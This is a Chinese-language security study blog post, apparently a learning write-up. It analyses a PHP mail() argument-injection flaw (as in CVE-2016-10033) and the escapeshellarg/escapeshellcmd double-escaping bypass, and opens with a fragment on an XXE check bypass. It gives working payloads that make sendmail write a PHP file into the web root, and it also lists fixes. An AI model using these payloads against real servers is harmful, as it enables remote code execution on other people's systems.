前文已分析到令查询位置为首位即可,故payload可以为user=<"><injected-tag%20property="&pass=<injected-tag>

其中首位的<可以令strpo()函数返回0即FALSE,从而绕过检查,">是为了闭合之前的内容,然后就可以利用XML进行各种XXE攻击的利用

修复

使用===强匹配


mali()函数的危险性

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class Mailer {
private function sanitize($email) {
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
return '';
}

return escapeshellarg($email);
}

public function send($data) {
if (!isset($data['to'])) {
$data['to'] = 'none@ripstech.com';
} else {
$data['to'] = $this->sanitize($data['to']);
}

if (!isset($data['from'])) {
$data['from'] = 'none@ripstech.com';
} else {
$data['from'] = $this->sanitize($data['from']);
}

if (!isset($data['subject'])) {
$data['subject'] = 'No Subject';
}

if (!isset($data['message'])) {
$data['message'] = '';
}

mail($data['to'], $data['subject'], $data['message'],
'', "-f" . $data['from']);
}
}

$mailer = new Mailer();
$mailer->send($_POST);

分析

此漏洞主要是由于mail()函数的第五个参数,先看一下mail()函数的用法:

mail

(PHP 4, PHP 5, PHP 7)

mail — 发送邮件

说明

bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
发送一封电子邮件。

参数

to
收件人
subject
主题
message
邮件内容
additional_headers
添加邮件的额外头部,如CC:Carbon Copy(抄送)、BCC:Blind CarbonCopy(秘密抄送)
additional_parameters
传递给发送程序sendmail的额外参数。例如,当使用带有-f sendmail选项的sendmail时,可以使用此选项设置邮件发件人地址 。

在Linux系统上, php 的 mail 函数在底层中已经写好了,默认调用 Linux 的 sendmail 程序发送邮件。而在额外参数( additional_parameters )中, sendmail 主要支持的选项有以下三种:

-O option = value

QueueDirectory = queuedir 选择队列消息

-X logfile

这个参数可以指定一个目录来记录发送邮件时的详细日志情况。

-f from email

这个参数可以让我们指定我们发送邮件的邮箱地址。

在PHP中使用mail()函数的话需要在php.ini中配置以下两个选项中的一种:
1.配置好SMTP(Simple Mail Transfer Protocol)即简单邮件传输协议的服务器hostname和port来告诉PHP使用那个代理。
2.配置好一个邮件程序的文件地址,使其作为MTA(Mail Transfer Agent)即邮件传输代理。

当PHP是用第2种方式配置的时候,mail()将传递给MTA程序运行,虽然PHP默认提供了escapeshellcmd()这个函数在这些&#;|*?~<>^()[]{}$\, \x0A 和 \xFF字符前插入\进行转义以防止代码注入的安全性问题,但是mail()函数的第5个参数$additional_parameters允许用户添加新参数的特性使得可以被攻击者利用。

1
2
3
mail("myfriend@example.com", "subject", "message", "", "-f" . $_GET['from']); //程序代码举例

example@example.com -O QueueDirectory=/tmp -X /var/www/html/rce.php //payload举例 -O 可以用来重新配置sendmail选项 -X可以指定日志文件位置

之前PHPMailer漏洞CVE-2016-10033就是这样发现的,影响到了包括像Wordpress这样广泛使用的程序。

说完mail()函数继续来分析源码,源码中第17行$data['from']为用户可控,并且传入到了第31行mail()函数中的第5参数中。虽然使用了sanitize函数进行过滤,sanitize函数首先调用了FILTER_VALIDATE_EMAIL过滤器验证传入值是否为有效的电子邮件地址,然后使用了escapeshellarg函数对返回值进行了转码过滤。

首先讨论一下FILTER_VALIDATE_EMAIL这个过滤器,这个过滤器仅仅是以RFC822规则验证邮箱地址是否有效正确,但是并不会验证其安全性。附各PHP版本下绕过FILTER_VALIDATE_EMAIL的运行情况。可以看到在>=5.2.0版本fliter_var()函数才被添加,其中某些版本会返回false,所以测试中需要注意版本。

FILTER_VALIDATE_EMAIL

然后我们绕过FILTER_VALIDATE_EMAIL的情况下还需要绕过escapeshellarg()和escapeshellcmd(),先看一下PHP文档对这两个函数的描述。

escapeshellarg

(PHP 4 >= 4.0.3, PHP 5, PHP 7)

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

说明

string escapeshellarg ( string $arg )

escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 。

escapeshellcmd

(PHP 4, PHP 5, PHP 7)

escapeshellcmd — shell 元字符转义

说明

string escapeshellcmd ( string $command )

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

可以看到escapeshellarg()和底层的escapeshellcmd()是用来保护系安全,防止代码注入的转义函数。但是escapeshellarg()和escapeshellcmd()一起使用的话并不安全。

1
2
3
4
5
6
7
8
<?php
$a=escapeshellarg("172.17.0.2' -v -d a=1");
$b=escapeshellcmd("172.17.0.2' -v -d a=1");
$c=escapeshellcmd(escapeshellarg("172.17.0.2' -v -d a=1"));
var_dump($a).PHP_EOL;
var_dump($b).PHP_EOL;
var_dump($c).PHP_EOL;
?>

如上我们使用172.17.0.2' -v -d a=1这样的payload来进行测试。
测试结果如下
ESCAPE
可以看到在第1、2、4种输出中,escapeshellcmd(escapeshellarg("172.17.0.2' -v -d a=1"))的输出为string(28) "'172.17.0.2'\\'' -v -d a=1\'"
详细分析一下:

  1. 传入的参数是:172.17.0.2' -v -d a=1。
  2. 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -da=1’,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
  3. 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个没有配对的'进行了转义,而忽略对之前两对匹配了的'进行转意。
  4. 最后执行的命令是'curl 172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

此处分析学习自https://paper.seebug.org/164/

利用

最终传入mail()函数的第5参数的payload大概为a"'(\ -OQueueDirectory=/tmp\ -X/var/www/html/test.php\ )"@a.com,在执行时变成了'-fa"'\\''\( -OQueueDirectory=/tmp -X/var/www/html/test.php \)"@a.com\',如上面的分析-f为MTA预设参数,'-fa"\\'''\(为第一部分,转义后运行时相当于-fa"\(,这部分作用就是将-f参数闭合造成后续payload逃逸形成注入;-OQueueDirectory=/tmp为第二部分可操作恶意内容,-X/var/www/html/test.php为第三部分可操作恶意内容,\)"@a.com\'为绕过FILTER_VALIDATE_EMAIL过滤的必须部分。这样结合起来就完成了注入,但是由于邮箱格式要求以及转义过多,真实进行测试时会带有很多"``'符号,还需要多多调整来进行测试。

修复

PHPmailer官方的修复方案是,对用户传参的输入进行检测,如果有转义字符就不传递第5参数,也不会造成注入。
所以总结一下核心问题还是escapeshellarg()→escapeshellcmd()这一过程会出现重复转义造成的漏洞。


#

12

JrD

Learning

10 日志
4 标签
© 2020 JrD
由 Hexo 强力驱动
|
主题 — NexT.Gemini v5.1.4